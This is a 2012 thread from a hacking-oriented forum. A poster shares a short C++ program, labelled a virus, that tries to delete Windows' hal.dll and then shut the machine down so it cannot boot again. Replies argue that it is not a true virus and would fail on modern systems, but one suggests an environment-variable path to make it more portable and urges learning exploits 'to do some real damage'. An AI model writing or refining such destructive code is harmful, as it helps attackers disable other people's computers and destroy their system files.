+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: C, C++, & Obj-C (https://sinister.ly/Forum-C-C-Obj-C)
+--- Thread: Hal.dll deleter [virus] (/Thread-Hal-dll-deleter-virus)
Hal.dll deleter [virus] - HEX C++ COD3R - 02-10-2012
This virus deletes Hal.dll that is required for startup. After deleting that, the computer shuts down and never to start again.
Code:
#include <cstdlib>
#include <iostream>
using namespace std;
int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}RE: Hal.dll deleter [virus] - Frooxius - 02-10-2012
This is not a virus, it doesn't even work on modern systems and even if it does, repairing is as easy, as restoring a single file from a rescue environment.
Why it's not a virus
By definition a computer virus is a program that can replicate itself and spread from computer to computer. This doesn't do absolutely any replication.
It doesn't even do anything really malicious, in case it actually succeeds in deleting that file without Operating System restoring it, it is possible to do so using system repair. No real damage is done to the system.
Not to mention, nowadays, malware rather focuses on collecting user data, or building a botnet network and spreading, the days of viruses that actually managed to damaged the system and data are long gone. If you want to do that for educational purposes I suggest you start learning the basics of how technology works, mostly processor on the low level and the operating systems. Once you understand these properly, you can search for exploits to do some real damage.
You might want to read my article:
http://www.hackcommunity.com/Thread-How-processor-assembler-and-programming-languages-work-for-dummies
Why it doesn't work on modern systems or in other scenarios
That's really simple. Modern systems simply protect their crucial files and doesn't allow you to delete them, even with standard administrator rights. Therefore, the attempt to delete it will ultimately fail.
Also, it might not work on older systems as well. You provided an absolute path, that is specified that the system is located in folder Windows on the drive C: While this is usually true, in cases the system is located elsewhere, it will also fail to work. To fix that, I recommend using system environment variables, like following:
Code:
%systemroot%\\system32\\hal.dllRE: Hal.dll deleter [virus] - FunKx - 02-10-2012
OMG. Frooxius really is a genius!
RE: Hal.dll deleter [virus] - ArkPhaze - 02-10-2012
Yeah, it would be easy enough to repair any unlikely damages as well. Plus your code is assuming admin permissions.
RE: Hal.dll deleter [virus] - HEX C++ COD3R - 02-11-2012
Ok fellas , Thanks for educating me .
RE: Hal.dll deleter [virus] - 1234hotmaster - 02-11-2012
the world will end when Frooxious writes a real virus ( he wont though hes a good kid
)
RE: Hal.dll deleter [virus] - Frooxius - 02-11-2012
FunKx: What? Oo
1234hotmaster: Well... even if I did write any, I wouldn't really tell anyone x3 If it does real damage/malicious stuff and you spread it, you don't go and tell everyone you made it
RE: Hal.dll deleter [virus] - 1234hotmaster - 02-11-2012
(02-11-2012, 03:09 AM)Frooxius Wrote: FunKx: What? Oo
1234hotmaster: Well... even if I did write any, I wouldn't really tell anyone x3 If it does real damage/malicious stuff and you spread it, you don't go and tell everyone you made it
Unless your want to drop the soap... :>